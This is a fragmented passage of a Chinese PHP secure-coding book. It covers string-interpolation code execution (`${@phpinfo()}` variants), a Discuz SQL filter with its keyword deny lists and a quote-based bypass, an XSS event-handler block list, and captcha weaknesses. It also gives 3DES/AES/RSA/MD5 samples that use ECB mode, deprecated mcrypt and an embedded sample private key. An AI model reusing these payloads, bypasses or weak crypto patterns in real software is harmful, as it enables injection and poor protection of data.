部分PHP应用在写配置文件或者使用preg_replace（）函数第二个参数赋值变量时，会用到双引号（\"）来代表string类型给变量赋值，在PHP语言中，单引号和双引号是有区别的，单引号代表纯字符串，而双引号则是会解析中间的变量，所以当使用双引号时会存在代码执行漏洞，我们来看一个测试，代码如下： < ？ php $a=\"${@phpinfo （） }\" ；？ > 当运行这段代码时，phpinfo（）函数会成功执行，输出内容如图8-14所示。 图 8-14 这里有一个地方需要注意，代码${@phpinfo（）}中的“@”符号是必须存在的，不然就无法执行，但是除了“@”符号还有其他的写法也一样可以，只要不影响PHP规范均可执行，举例如下： 1）花括号内第一个字符为空格： $a = \"${ phpinfo （） }\" ； 2）花括号内第一个字符为TAB： $a = \"${ phpinfo （） }\" ； 3）花括号内第一个字符为注释符： $a = \"${/**/phpinfo （） }\" ； 4）花括号内第一个字符为回车换行符： $a = \"${ phpinfo （） }\" ； 5）花括号内第一个字符为加号（+）： $a = \"${+phpinfo （） }\" ； 6）花括号内第一个字符为减号（-）： $a = \"${-phpinfo （） }\" ； 7）花括号内第一个字符为感叹号（！）： $a = \"${ ！ phpinfo （） }\" ； 除了这些之外还有一些如~、\\等。 第三部分 PHP安全编程规范 这一部分主要介绍PHP安全编程的规范，从攻击者的角度来告诉你应该怎么做才能写出更安全的代码，这也是本书期望达到的目标：让代码没有漏洞。这部分包括第9、10、11章，第9章主要介绍参数的安全过滤，所有的攻击都需要有输入，所以我们要阻止攻击，第一件要做的事情就是对输入的参数进行过滤，该章详细分析discuz的过滤类，用实例说明什么样的过滤更有效果。 第10章主要介绍PHP中常用的加密算法，目前99%以上的知名网站都被拖过库，泄露了大量的用户数据，而在这一章，我们将详细说明使用什么样的加密算法能够帮助你增强数据的安全性。 第11章是安全编程比较核心的一章，所有应用都是一个个功能堆砌起来的，我们在这章从攻击者的角度详细分析常见功能会出现哪些安全问题，在分析出这些安全问题的利用方式后，再给出问题的解决方案，如果你是应用架构师，这些能够帮助你在设计程序功能时避免这些安全问题。"},
    {"text": "第9章 参数的安全过滤 所有对Web应用的攻击都要传入有害的参数，因此代码安全的基础就是对传入的参数进行有效的过滤，比如像SQL注入漏洞，只要过滤到单引号，就能防御住大部分的string类型的SQL注入，只要过滤掉尖括号和单双引号也能过滤掉不少XSS漏洞，这种简单的过滤跟完全不过滤带来的效果是天壤之别，我们做的就是要细化这些过滤规则，通过横向扩展防御策略来拦截更多的攻击，不少第三方提供了这样的过滤函数和类，我们可以直接引用，另外PHP自身提供了不少过滤的函数，好好使用这些内置的函数也能达到非常好的效果。"},
    {"text": "9.1 第三方过滤函数与类 在一些中小型的Web应用程序中，由于大多数开发者是不怎么懂安全的，所以都会选择一些第三方的过滤函数或者类，直接拿过去套着用，并不知道效果到底怎么样。 在PHP安全过滤的类里面，比较出名的有出自80sec团队给出的一个SQL注入过滤的类，在国内大大小小的程序像discuz、dedecms、phpmywind等都使用过。 目前大多数应用都有一个参数过滤的统一入口，类似于dedecms的代码，如下所示： foreach （ Array （ '_GET' ， '_POST' ， '_COOKIE' ） as $_request ） { foreach （ $$_request as $_k => $_v ） { if （ $_k == 'nvarname' ） ${$_k} = $_v ；"},
    {"text": "else ${$_k} = _RunMagicQuotes （ $_v ）； } } 跟进_RunMagicQuotes（）函数之后的代码如下： function _RunMagicQuotes （ &$svar ） { if （！ get_magic_quotes_gpc （）） { if （ is_array （ $svar ） ） { foreach （ $svar as $_k => $_v ） $svar[$_k] = _RunMagicQuotes （ $_v ）； } else { if （ strlen （ $svar ） >0&& preg_match （ '#^ （ cfg_|GLOBALS|_GET|_POST|_COOKIE ） #' ， $svar ）） { exit （ 'Request var not allow ！"},
    {"text": "Board，是康盛创想（北京）科技有限公司（英文简称Comsenz）推出的一套开源通用的社区论坛软件系统，使用PHP＋MySQL开发，现已被腾讯收购，由于用户量巨大，discuz一直是众多安全爱好者重点研究的对象，所以也被公布过不少的安全漏洞。"},
    {"text": "discuz在专门有一个SQL注入过滤类来过滤SQL注入请求，不过也出现了多次绕过的情况，下面我们来分析它的这个SQL注入过滤的类。 首先我们先看到discuz的配置文件/config/config_global.php中的“CONFIG SECURITY”部分内容，如下： // ------------------------- CONFIG SECURITY -------------------------- // $_config['security']['authkey'] = '3ca530i1uCe7lRke' ； $_config['security']['urlxssdefend'] = 1 ； $_config['security']['attackevasive'] = '0' ； $_config['security']['querysafe']['status'] = 1 ； // 是否开启 SQL 注入防御 // 以下是过滤规则 $_config['security']['querysafe']['dfunction']['0'] = 'load_file' ； $_config['security']['querysafe']['dfunction']['1'] = 'hex' ； $_config['security']['querysafe']['dfunction']['2'] = 'substring' ； $_config['security']['querysafe']['dfunction']['3'] = 'if' ； $_config['security']['querysafe']['dfunction']['4'] = 'ord' ； $_config['security']['querysafe']['dfunction']['5'] = 'char' ； $_config['security']['querysafe']['daction']['0'] = '@' ； $_config['security']['querysafe']['daction']['1'] = 'intooutfile' ； $_config['security']['querysafe']['daction']['2'] = 'intodumpfile' ； $_config['security']['querysafe']['daction']['3'] = 'unionselect' ； $_config['security']['querysafe']['daction']['4'] = ' （ select' ； $_config['security']['querysafe']['daction']['5'] = 'unionall' ； $_config['security']['querysafe']['daction']['6'] = 'uniondistinct' ； $_config['security']['querysafe']['dnote']['0'] = '/*' ； $_config['security']['querysafe']['dnote']['1'] = '*/' ； $_config['security']['querysafe']['dnote']['2'] = '#' ； $_config['security']['querysafe']['dnote']['3'] = '--' ； $_config['security']['querysafe']['dnote']['4'] = '\"' ； $_config['security']['querysafe']['dlikehex'] = 1 ； $_config['security']['querysafe']['afullnote'] = '0' ； 根据笔者的标注（上面加粗代码），我们可以看到discuz配置文件中可以设置是否开启SQL注入防御，这个选项默认开启，一般不会有管理员去关闭，再往下的内容： $_config['security']['querysafe']['daction'] 以及 $_config['security']['querysafe']['dnote'] 都是SQL注入过滤类的过滤规则，规则里包含了常见的注入关键字。 Discuz执行SQL语句之前会调用\\source\\class\\discuz\\discuz_database.php文件discuz_database_safecheck类下面的checkquery（$sql）函数进行过滤，我们来跟进这个函数看看，代码如下： public static function checkquery （ $sql ） {if （ self ：： $config === null ） { self ：： $config = getglobal （ 'config/security/querysafe' ）； }if （ self ：： $config['status'] ） { $check = 1 ； $cmd = strtoupper （ substr （ trim （ $sql ）， 0 ， 3 ））； if （ isset （ self ：： $checkcmd[$cmd] ）） { $check = self ：： _do_query_safe （ $sql ）； } elseif （ substr （ $cmd ， 0 ， 2 ） === '/*' ） { $check = -1 ； } if （ $check < 1 ） { throw new DbException （ 'It is not safe to do this query' ， 0 ， $sql ）； }}return true ； } 从代码中可以看到，程序首先加载配置文件中的config/security/querysafe，根据$config['status']判断SQL注入防御是否开启，再到$check=self：：_do_query_safe（$sql）； 可以看到该函数又调用了同类下的_do_query_safe（）函数对SQL语句进行过滤，我们继续跟进_do_query_safe（）函数，代码如下： private static function _do_query_safe （ $sql ） { $sql = str_replace （ array （ '\\\\\\\\' ， '\\\\\\'' ， '\\\\\"' ， '\\'\\'' ）， '' ， $sql ）；"},
    {"text": "if （ strpos （ $sql ， '/' ） === false && strpos （ $sql ， '#' ） === false && strpos （ $sql ， '-- ' ） === false && strpos （ $sql ， '@' ） === false && strpos （ $sql ， '`' ） === false ） { $clean = preg_replace （ \"/' （ .+ ？"},
    {"text": "for （ $i = 0 ； $i < $len ； $i++ ） { $str = $sql[$i] ； switch （ $str ） { case '`' ： if （！ $mark ） { $mark = '`' ； $clean .= $str ； } elseif （ $mark == '`' ） { $mark = '' ； } break ；"},
    {"text": "}} if （ strpos （ $clean ， '@' ） ！ == false ） { return '-3' ； } $clean = preg_replace （ \"/[^a-z0-9_\\-\\ （ \\ ） #\\*\\/\\\"]+/is\" ， \"\" ， strtolower （ $clean ））； if （ self ：： $config['afullnote'] ） { $clean = str_replace （ '/**/' ， '' ， $clean ）； } if （ is_array （ self ：： $config['dfunction'] ）） { foreach （ self ：： $config['dfunction'] as $fun ） { if （ strpos （ $clean ， $fun . ' （ ' ） ！ == false ） return '-1' ； } } if （ is_array （ self ：： $config['daction'] ）） { foreach （ self ：： $config['daction'] as $action ） { if （ strpos （ $clean ， $action ） ！ == false ） return '-3' ； } } if （ self ：： $config['dlikehex'] && strpos （ $clean ， 'like0x' ）） { return '-2' ； } if （ is_array （ self ：： $config['dnote'] ）） { foreach （ self ：： $config['dnote'] as $note ） { if （ strpos （ $clean ， $note ） ！ == false ） return '-4' ； } } return 1 ；"},
    {"text": "} 从如上代码我们可以看到，该函数首先使用： $sql = str_replace （ array （ '\\\\\\\\' ， '\\\\\\'' ， '\\\\\"' ， '\\'\\'' ）， '' ， $sql ）； 将SQL语句中的\\\\、\\'、\\\"以及''替换为空，紧接着是一个if else判断逻辑来选择过滤的方式： if （ strpos （ $sql ， '/' ） === false && strpos （ $sql ， '#' ） === false && strpos （ $sql ， '-- ' ） === false && strpos （ $sql ， '@' ） === false && strpos （ $sql ， '`' ） === false ） { $clean = preg_replace （ \"/' （ .+ ？ ） '/s\" ， '' ， $sql ）； } else { 这段代码表示当SQL语句里存在'/'、#'、'--'、'@'、'`'这些字符时，则直接调用preg_replace（）函数将单引号（'）中间的内容替换为空，这里之前存在一个绕过，只要把SQL注入的语句放到单引号中间，则会被替换为空，进行下面再判断的时候已经检测不到SQL注入的关键字，导致绕过的出现，在MySQL中使用@`'`代表null，SQL语句可以正常执行。 else条件中是对整段SQL语句进行逐个字符进行判断，比如 case '/' ： if （ empty （ $mark ） && $sql[$i + 1] == '*' ） { $mark = '/*' ；"},
    {"text": "这段代码的逻辑是，当检查到SQL语句中存在斜杠（/）时，则去判断下一个字符是不是星号（*），如果是星号（*）就把这两个字符拼接起来，即/*，然后继续判断下一个字符是不是星号（*），如果是星号则再继续拼接起来，得到/**，最后在如下代码中判断是否存在原来拦截规则里面定义的字符，如果存在则拦截SQL语句执行： if （ is_array （ self ：： $config['dnote'] ）） { foreach （ self ：： $config['dnote'] as $note ） { if （ strpos （ $clean ， $note ） ！"},
    {"text": "} } 国内知名的多款cms应用如dedecms等，都有使用类似这个过滤类，另外由于应用的基础架构不一样，这个过滤类应用起来的实际效果也各不太一样，discuz目前做得相对较好。"},
    {"text": "9.1.2 discuz XSS标签过滤函数分析 目前大多数XSS过滤都是基于黑名单的形式，编程语言和编码结合起来千变万化，基于黑名单的过滤总给人不靠谱的感觉，事实确实是这样，目前好像还没有看到基于黑名单过滤的规则一直没有被绕过，其实在XSS的防御上，只要过滤掉尖括号以及单、双引号就能干掉绝大部分的payload。 下面我们来看看discuz的HTML标签过滤代码，如下所示： function checkhtml （ $html ） { if （！ checkperm （ 'allowhtml' ）） { preg_match_all （ \"/\\< （ [^\\<]+ ） \\>/is\" ， $html ， $ms ）；"},
    {"text": "if （ $ms[1] ） { $allowtags = 'img|a|font|div|table|tbody|caption|tr|td|th|br|p|b|strong|i|u|em|span|ol|ul|li|blockquote|object|param' ；"},
    {"text": "$value = str_replace （ '&' ， '_uch_tmp_str_' ， $value ）； $value = dhtmlspecialchars （ $value ）； $value = str_replace （ '_uch_tmp_str_' ， '&' ， $value ）； $value = str_replace （ array （ '\\\\' ， '/*' ）， array （ '.' ， '/.' ）， $value ）；"},
    {"text": "$skipkeys = array （ 'onabort' ， 'onactivate' ， 'onafterprint' ， 'onafterupdate' ， 'onbeforeactivate' ， 'onbeforecopy' ， 'onbeforecut' ， 'onbeforedeactivate' ， 'onbeforeeditfocus' ， 'onbeforepaste' ， 'onbeforeprint' ， 'onbeforeunload' ， 'onbeforeupdate' ， 'onblur' ， 'onbounce' ， 'oncellchange' ， 'onchange' ， 'onclick' ， 'oncontextmenu' ， 'oncontrolselect' ， 'oncopy' ， 'oncut' ， 'ondataavailable' ， 'ondatasetchanged' ， 'ondatasetcomplete' ， 'ondblclick' ， 'ondeactivate' ， 'ondrag' ， 'ondragend' ， 'ondragenter' ， 'ondragleave' ， 'ondragover' ， 'ondragstart' ， 'ondrop' ， 'onerror' ， 'onerrorupdate' ， 'onfilterchange' ， 'onfinish' ， 'onfocus' ， 'onfocusin' ， 'onfocusout' ， 'onhelp' ， 'onkeydown' ， 'onkeypress' ， 'onkeyup' ， 'onlayoutcomplete' ， 'onload' ， 'onlosecapture' ， 'onmousedown' ， 'onmouseenter' ， 'onmouseleave' ， 'onmousemove' ， 'onmouseout' ， 'onmouseover' ， 'onmouseup' ， 'onmousewheel' ， 'onmove' ， 'onmoveend' ， 'onmovestart' ， 'onpaste' ， 'onpropertychange' ， 'onreadystatechange' ， 'onreset' ， 'onresize' ， 'onresizeend' ， 'onresizestart' ， 'onrowenter' ， 'onrowexit' ， 'onrowsdelete' ， 'onrowsinserted' ， 'onscroll' ， 'onselect' ， 'onselectionchange' ， 'onselectstart' ， 'onstart' ， 'onstop' ， 'onsubmit' ， 'onunload' ， 'javascript' ， 'script' ， 'eval' ， 'behaviour' ， 'expression' ， 'style' ， 'class' ）； $skipstr = implode （ '|' ， $skipkeys ）； $value = preg_replace （ array （ \"/ （ $skipstr ） /i\" ）， '.' ， $value ）；"},
    {"text": "（ $allowtags ）（ \\s+|$ ） /is\" ， $value ）） { $value = '' ； } $replaces[] = empty （ $value ）？ '' ： \"<\".str_replace （ '&quot ； ' ， '\"' ， $value ） .\">\" ； } } $html = str_replace （ $searchs ， $replaces ， $html ）； }return $html ；"},
    {"text": "} 从代码中可以看到，这里首先定义了一条正则取出来尖括号中间的内容： preg_match_all （ \"/\\< （ [^\\<]+ ） \\>/is\" ， $html ， $ms ）；"},
    {"text": "然后在if（$ms[1]）这个if条件里对这些标签中的关键字进行筛选，$skipkeys变量定义了很多on事件的敏感字符，如下代码中可以看到，最后拼接正则将这些字符串替换掉： $skipstr = implode （ '|' ， $skipkeys ）；"},
    {"text": "9.2 内置过滤函数 PHP本身内置了很多参数过滤的函数，以方便开发者简单有效且统一地进行安全防护，而这些函数可以分为多种类型，如SQL注入过滤函数、XSS过滤函数、命令执行过滤函数、代码执行过滤函数，等等，下面我们来看看这些函数的用法。 1.SQL注入过滤函数 SQL注入过滤函数有addslashes（）、mysql_real_escape_string（）以及mysql_escape_string（），它们的作用都是给字符串添加反斜杠（\\）来转义掉单引号（'）、双引号（\"）、反斜线（\\）以及空字符NULL。addslashes（）和mysql_escape_string（）函数都是直接在敏感字符串前加反斜杠，这里可能会存在绕过宽字节注入绕过的问题，而mysql_real_escape_string（）函数会考虑当前连接数据库的字符集编码，安全性更好，推荐使用。 2.XSS过滤函数 XSS过滤函数有htmlspecialchars（）和strip_tags（），这两个函数的功能大不一样，htmlspecialchars（）函数的作用是将字符串中的特殊字符转换成HTML实体编码，如&转换成&amp；，\"转换成&quot；，'转换成&#039；，<转换成&lt；，>转换成&gt；这个函数简单粗暴但是却非常有效果，已经能干掉大多数的XSS攻击。 而strip_tags（）函数则是用来去掉HTML及PHP标记，比如给这个函数传入“<h1>xxxxx</h1>”，经过它处理后返回的字符串为xxxxx。 3.命令执行过滤函数 通常我们进行系统命令注入的时候会使用到||以及&等字符，PHP为了防止系统命令注入的漏洞，提供了escapeshellcmd（）和escapeshellarg（）两个函数对参数进行过滤，escapeshellcmd（）函数过滤的字符为'&'、'；'、'`'、'|'、'*'、'？'、'~'、'<'、'>'、'^'、'（'、'）'、'['、']'、'{'、'}'、'$'、'\\'、'\\x0A'、'\\xFF'、’%’以及单双引号，Windows下过滤方式则是在这些字符前面加了一个^符号，而在Linux下则是在这些字符前面加了反斜杠（\\）。escapeshellarg（）函数过滤方式比较简单，给所有参数加上一对双引号，强制为字符串。 第10章 使用安全的加密算法 加密是指将明文直接可见的数据以特定的算法进行混淆，以保证数据的安全掩蔽性。加密一直是一个很热的话题，在密码学中占很大一块比例，目前常见的加密算法可以分为对称加密、非对称加密以及单向加密（哈希算法），这些加密算法大量运用在各种系统和应用中，最常见的是我们访问使用HTTPS的网站流量是经过加密的，密码保存在网站数据库中大多也是经过MD5或者DES加密，而通常不推荐使用可逆的加密算法来加密保存用户登录密码，因为黑客在拿到密钥的情况下可对数据进行还原。下面我们来看看PHP中常用的加解密算法的实现方式。"},
    {"text": "10.1 对称加密 对称加密指的是采用单密钥进行加密，并且该密钥可以对数据进行加密和解密处理，目前这类加密算法安全性均比较高，数据的实际安全性取决于密钥的管理，就算黑客拿到加密后的数据，如果没有密钥，这些数据对于黑客来说也是垃圾数据而已，而拿到密钥之后可以对加密数据进行还原，所以笔者不建议使用对称加密对用户密码进行加密存储。"},
    {"text": "图 10-1 明文数据123456可以在加密算法的作用下使用密钥0s9ansk2处理后变成d2fm83jjf，同样使用这个密钥也能把d2fm83jjf解密回123456。"},
    {"text": "10.1.1 3DES加密 DES（Data Encrypt Standard）又称Triple DES，是DES加密算法的一种模式，它使用3条56位的密钥对数据进行三次加密。 DES加密算法是美国的一种由来已久的加密标准，这种算法通常用于加密需要传输的数据。"},
    {"text": "PHP中需要在php.ini中打开php_mcrypt.dll以及php_mcrypt_filter.dll两个lib库的引用，即去掉以下代码前面的分号： ； extension=php_mcrypt.dll ； extension=php_mcrypt_filter.dll PHP的3DES已经有很简洁成熟的加密，我们来看一个简单的3DES加解密类，代码如下： < ？ php class Crypt3Des { public $key = \"xxxx\" ； // 加密密钥 function Crypt3Des （ $key ） { $this->key=$key ； } // 加密函数 function encrypt （ $input ） { $size = mcrypt_get_block_size （ MCRYPT_3DES ， 'ecb' ）；"},
    {"text": "$td = mcrypt_module_open （ MCRYPT_3DES ， '' ， 'ecb' ， '' ）； $iv = @mcrypt_create_iv （ mcrypt_enc_get_iv_size （ $td ）， MCRYPT_RAND ）； @mcrypt_generic_init （ $td ， $key ， $iv ）； $data = mcrypt_generic （ $td ， $input ）； mcrypt_generic_deinit （ $td ）； mcrypt_module_close （ $td ）；"},
    {"text": "$data = base64_encode （ $data ）； return $data ； } // 解密函数 function decrypt （ $encrypted ） { $encrypted = base64_decode （ $encrypted ）； $key = str_pad （ $this->key ， 24 ， '0' ）； $td = mcrypt_module_open （ MCRYPT_3DES ， '' ， 'ecb' ， '' ）； $iv = @mcrypt_create_iv （ mcrypt_enc_get_iv_size （ $td ）， MCRYPT_RAND ）； $ks = mcrypt_enc_get_key_size （ $td ）； @mcrypt_generic_init （ $td ， $key ， $iv ）； $decrypted = mdecrypt_generic （ $td ， $encrypted ）； mcrypt_generic_deinit （ $td ）； mcrypt_module_close （ $td ）； $y=$this->pkcs5_unpad （ $decrypted ）；"},
    {"text": "} function pkcs5_pad （ $text ， $blocksize ） { $pad = $blocksize - （ strlen （ $text ） % $blocksize ）； return $text . str_repeat （ chr （ $pad ）， $pad ）； } function pkcs5_unpad （ $text ） { $pad = ord （ $text{strlen （ $text ） -1} ）； if （ $pad > strlen （ $text ）） { return false ； } if （ strspn （ $text ， chr （ $pad ）， strlen （ $text ） - $pad ） ！ = $pad ） { return false ； } return substr （ $text ， 0 ， -1 * $pad ）； } function PaddingPKCS7 （ $data ） { $block_size = mcrypt_get_block_size （ MCRYPT_3DES ， MCRYPT_MODE_CBC ）； $padding_char = $block_size - （ strlen （ $data ） % $block_size ）； $data .= str_repeat （ chr （ $padding_char ）， $padding_char ）； return $data ；"},
    {"text": "$input=\"hello 3des\" ； echo \" 原文： \".$input.\"<br/>\" ； $encrypt_card=$rep->encrypt （ $input ）； echo \" 加密： \".$encrypt_card.\"<br/>\" ； echo \" 解密： \".$rep->decrypt （ $rep->encrypt （ $input ））；"},
    {"text": "图 10-2 10.1.2 AES加密 AES（Advanced Encryption Standard）加密在密码学中又称Rijndael加密法，比3DES更加安全，密钥长度的最少支持为128、192、256位，所以逐渐替代原先的DES。"},
    {"text": "PHP中需要在php.ini中打开php_mcrypt.dll库的引用，设置方法我们已在上一小节介绍过，我们来看一个PHP中AES的加解密实例： < ？ php class Aes{ public $_secrect_key='' ； // 密钥 function Aes （ $key ） { $this->_secrect_key = $key ； } /** * 加密方法 * @param string $str * @return string */ function encrypt （ $str ） { //AES ， 128 ECB 模式加密数据 $screct_key = $this->_secrect_key ；"},
    {"text": "$iv = mcrypt_create_iv （ mcrypt_get_iv_size （ MCRYPT_RIJNDAEL_128 ， MCRYPT_MODE_ECB ）， MCRYPT_RAND ）； $encrypt_str = mcrypt_encrypt （ MCRYPT_RIJNDAEL_128 ， $screct_key ， $str ， MCRYPT_MODE_ECB ， $iv ）； return base64_encode （ $encrypt_str ）； } /** * 解密方法 * @param string $str * @return string */ function decrypt （ $str ） { //AES ， 128 ECB 模式加密数据 $screct_key = $this->_secrect_key ； $str = base64_decode （ $str ）； $screct_key = base64_decode （ $screct_key ）； $iv = mcrypt_create_iv （ mcrypt_get_iv_size （ MCRYPT_RIJNDAEL_128 ， MCRYPT_MODE_ECB ）， MCRYPT_RAND ）； $encrypt_str = mcrypt_decrypt （ MCRYPT_RIJNDAEL_128 ， $screct_key ， $str ， MCRYPT_MODE_ECB ， $iv ）； $encrypt_str = trim （ $encrypt_str ）； $encrypt_str = $this->stripPKSC7Padding （ $encrypt_str ）； return $encrypt_str ；"},
    {"text": "$block = mcrypt_get_block_size （ 'rijndael-128' ， 'ecb' ）； $pad = $block - （ strlen （ $source ） % $block ）； if （ $pad <= $block ） { $char = chr （ $pad ）； $source .= str_repeat （ $char ， $pad ）； } return $source ； } /** * 移去填充算法 * @param string $source * @return string */ function stripPKSC7Padding （ $source ） { $source = trim （ $source ）； $char = substr （ $source ， -1 ）； $num = ord （ $char ）； if （ $num==62 ） return $source ； $source = substr （ $source ， 0 ， -$num ）； return $source ；"},
    {"text": "$encrypt_card=$rep->encrypt （ $input ）； echo \" 加密： \".$encrypt_card.\"<br/>\" ； echo \" 解密： \".$rep->decrypt （ $rep->encrypt （ $input ））；"},
    {"text": "10.2 非对称加密 非对称加密与对称加密不一样的地方在于，非对称加密算法有两个密钥，分别为公钥和私钥，它的安全性比对称加密更好，公钥用来加密，私钥用来解密，如果用公钥对数据进行加密，只有用对应的私钥才能解密，两个密钥不一致，所以叫非对称加密。 它的使用流程原理如图10-4所示。 图 10-4 RSA加密 RSA公钥加密算法在1977年由罗纳德·李维斯特（Ron Rivest）、阿迪·萨莫尔（Adi Shamir）和伦纳德·阿德曼（Leonard Adleman）一起提出，RSA正是他们三人的姓氏开头字母拼接。RSA是目前公认最有影响力的加密算法，不过并不是不可破解的，在短密钥的情况下，基于现在越来越强大的云计算，也存在被爆破的可能。早在1999年，就有花了五个月时间在一台有3.2G中央内存的Cray C916计算机上成功分解RSA-155（512位）。 RSA的最大问题在于加解密速度慢，整个运算过程相对要消耗不少时间，不过这一些问题在今后计算资源横向扩展的条件下，也不是很大的问题。 我们来测试一下PHP下的RSA加解密，如果希望简单一点，PHP上可以使用phpseclib，下载地址 http://phpseclib.sourceforge.net/ ，不需要配置即可直接使用，首先下载phpseclib，文件结构如图10-5所示。 图 10-5 然后生成密钥，代码如下： < ？ php include （ './Crypt/RSA.php' ）； $rsa = new Crypt_RSA （）； extract （ $rsa->createKey （））； echo \"$privatekey<br />$publickey\" ； 生成密钥后，我们来看看加解密代码： < ？ php $PUBLIC_KEY ='-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCm418GwRwXmYOC6eb6G6NzCMRt nan7Jt76kygfmfa2mGRu1Ff8t3bjyrrRPra8LQgcGxO1KZkDPxODsfX2fblXCNCz EXxYerZIrcQXR4utTMXkQCN7E7egNDlQOqrP0awFZ5OWrYcbDdmgxa2jAEGtR3Fa m+GpAAH94H1crvcbSwIDAQAB -----END PUBLIC KEY-----' ； $PRIVATE_KEY = '-----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQCm418GwRwXmYOC6eb6G6NzCMRtnan7Jt76kygfmfa2mGRu1Ff8 t3bjyrrRPra8LQgcGxO1KZkDPxODsfX2fblXCNCzEXxYerZIrcQXR4utTMXkQCN7 E7egNDlQOqrP0awFZ5OWrYcbDdmgxa2jAEGtR3Fam+GpAAH94H1crvcbSwIDAQAB AoGBAKYm+RTgbfeQ/z33Yd7gZXrB387Cidlied0/ZVMRFm/0iQlOn8sbXWKtFBH/ Pi9bJhfVXWmgYJa61dLn+tnNkhdYsWCHxN3eMlLJ8XuQjvmrofWb1yZtWVblGhbd O9fSX2RH8m7DOxrV85/oP0qYTKfla8R21hKmdgo9JDeqMRUBAkEA2ZLqpnqXJ2qp FE3OHnQydnJQllAG7l1egYheQh0JmeI8CVrWjv40sK5clQK6kONj9JscD0ZPdCqq EVQb5dSWtQJBAMRc0hzEVpgo544lSIZV1sMiWwxVhDLpvuEUJZtSLh52FIt07Rt7 mVV0IExq7Z2bDX1yhHiqYPen7ck0GC0KKf8CQCTp3zPVkrWWTA9sz+6syi78YB3Q gAyK/NC/QTa4VHuuPX9c0RA7otbjDkQdzWdtnPTQKCeTR0GvR2FfQshwlA0CQGCZ zWALkxI+JVQ/sUMtHX9X+nTB6Uxmw9nU4H9d2YRw0MCeoDsB/jgU7gLKI+WCLwvE 97ipERUlDw0JzM7zjh8CQEz541yxg7sttBtEV2RZOd+8bMBaRJWXYqN86vn+dSjq ds4vY6KgESImQ7Y+o30TcgxgjGZlujZMLgqv9E4VmwY= -----END RSA PRIVATE KEY-----' ； include （ 'Crypt/RSA.php' ）； $rsa = new Crypt_RSA （）； $rsa->loadKey （ $PUBLIC_KEY ）； // 载入公钥 $plaintext = 'phpsec' ； $rsa->setEncryptionMode （ CRYPT_RSA_ENCRYPTION_PKCS1 ）； $ciphertext = $rsa->encrypt （ $plaintext ）； $rsa->loadKey （ $PRIVATE_KEY ）； // 载入私钥 echo $ciphertext.'<br />'.'<br />'.'<br />' ； echo $rsa->decrypt （ $ciphertext ）； 可以看到$rsa->encrypt（$plaintext）；函数用来加密，最终用$rsa->decrypt（$ciphertext）来解密并输出明文字符串“phpsec”，效果如图10-6所示。 图 10-6 第一行的乱码就是加密后的“phpsec”，通常保存的时候还会用Base64转码一下才好。"},
    {"text": "10.3 单向加密 之前我们介绍的加密算法都是双向的，也就是加密后可以再逆向算出明文数据，而在加密算法里面，还有单向加密，也就是不可逆算法，常见的有MD系列（md4、md5）和sha1等。因为存在不可逆的性质，所以这类哈希算法通常用来保存密码和做数字签名，不过因为相同的字符串的哈希值是一样的，所以存在碰撞的问题，目前全球公开的最大MD5解密库cmd5.com号称有24万亿条数据，解密率全球第一，笔者在实际应用中也感受到普通人常用的密码破解成功率也在90%以上。 MD5/sha1加密 MD5是目前使用最多的密码存储加密算法，几乎95%以上的网站都在使用MD5算法，MD5分为16位和32位，实际上它们的安全性并没有什么不一样的地方。根据实际经验来看，用单纯MD5（不加salt）来存储用户密码是非常不安全的，提供MD5解密的网站随处可见，如cmd5.com、xmd5.com，等等。 在PHP中进行MD5计算很简单，PHP提供了md5（）函数，只要传入一个字符串即可返回加密后的结果。 同样，sha1加密也被部分网站用来保存密码，它比MD5更长，足足有40位，支持sha1解密的网站相对较少，碰撞的数据量也相对较少，所以实际中它的“安全性”比MD5更好。我们来看看它的使用方法，代码如下： < ？ php echo 'phpsec md5 ： '.md5 （ 'phpsec' ）； echo '<br />' ； echo 'phpsec sha1 ： '.sha1 （ 'phpsec' ）； 执行结果如图10-7所示。 图 10-7 第11章 业务功能安全设计 要打造安全的应用程序，要从业务功能的设计开始，只有功能设计得足够安全，编写代码的时候才会少出现一些漏洞，特别是逻辑漏洞。所以设计一个安全功能尤为重要。下面我们将对功能安全的痛点进行分析，这些功能包括验证码、用户登录、用户注册、密码找回、资料操作、投票、积分、抽奖、充值支付、私信反馈、文件管理、数据库管理以及命令执行等，对经常出现的漏洞以及利用方式进行详细的分析，再给出详细的安全设计应该注意的地方。这一部分内容对于项目设计人员和研发人员来说更有价值。"},
    {"text": "11.1 验证码 验证码可以解决很多业务安全问题，比如撞库、垃圾注册，等等，可谓防御业务风险必备神器。验证码有图片验证码、滑动验证码、短信/邮箱/电话、二维码等分类，而据保守估计起码有80%以上的验证码是存在可以爆破和简单识别的问题，设计一个有效的验证码尤为重要。 11.1.1 验证码绕过 图片验证码是目前见得比较多的，各种各样的图片验证码形式也比较多和奇葩，有中文、英文、字母数字和看图识物，等等，简单列举一下，如图11-1~图11-3所示。 图 11-1 图 11-2 图 11-3 不得不吐槽一下，一些验证码为了避免机器识别，已经被逼得设计成人类都认不出来了，业务和体验设计与安全是有一点矛与盾的，所以从业务角度考虑，我们还是能找到很多绕过这些验证码的方法，我们来一起看看。 1.不刷新直接绕过 Web页面登录等操作的验证码能够多次使用的原因是后端程序在接收一次请求后，并没有主动刷新验证码，部分比较大的业务使用了负载均衡，验证码跟Session绑定在一起，为了能够保证验证码能够正常使用，所以会把验证码明文或者加密后放在Cookie或者POST数据包里面，所以每次只要同一个数据包里面的两个验证码对上了即可绕过。 2.暴力破解 注册或者找回密码等敏感操作时的手机或者邮箱验证码能够爆破，主要是因为程序没有设置验证码错误次数和超时，导致能够不断进行尝试。 3.机器识别 机器识别验证码对于不同的验证码类型有不同的手段，最常见的是图片验证码的机器识别，这类识别有两种情况：一种是针对不是实时生成的验证码，已经生成了部分的验证码在服务器端保存，前端直接加载验证。这类是最好绕过的，只要把全部的验证码文件保存回来，做一个图片MD5库，然后利用的时候直接匹配服务器端返回的图片MD5即可识别。另外一种是动态生成的验证码，这类需要做一些图片文字识别或者语音识别，当初有一个笑话讲的是Google出的语音识别系统干掉了自家的语言验证码。国内也有专门提供这种服务的公司，比如云速，如图11-4所示。 4.打码平台 这类打码平台大多数后端是使用廉价的人工资源在打，比如学生什么的，国内比较有名的像打码兔（damatu1.com）、Q赚（qqearn.com），等等，让我们来看一个任务佣金表就知道成本有多低，如图11-5所示。 经过上面的分析，我们大致可以知道怎样设计一个强壮的验证码，主要有以下几点： 1）最重要的是，要设置验证码错误次数，比如一个验证码只能错误一次，这就避免了暴力破解的问题。 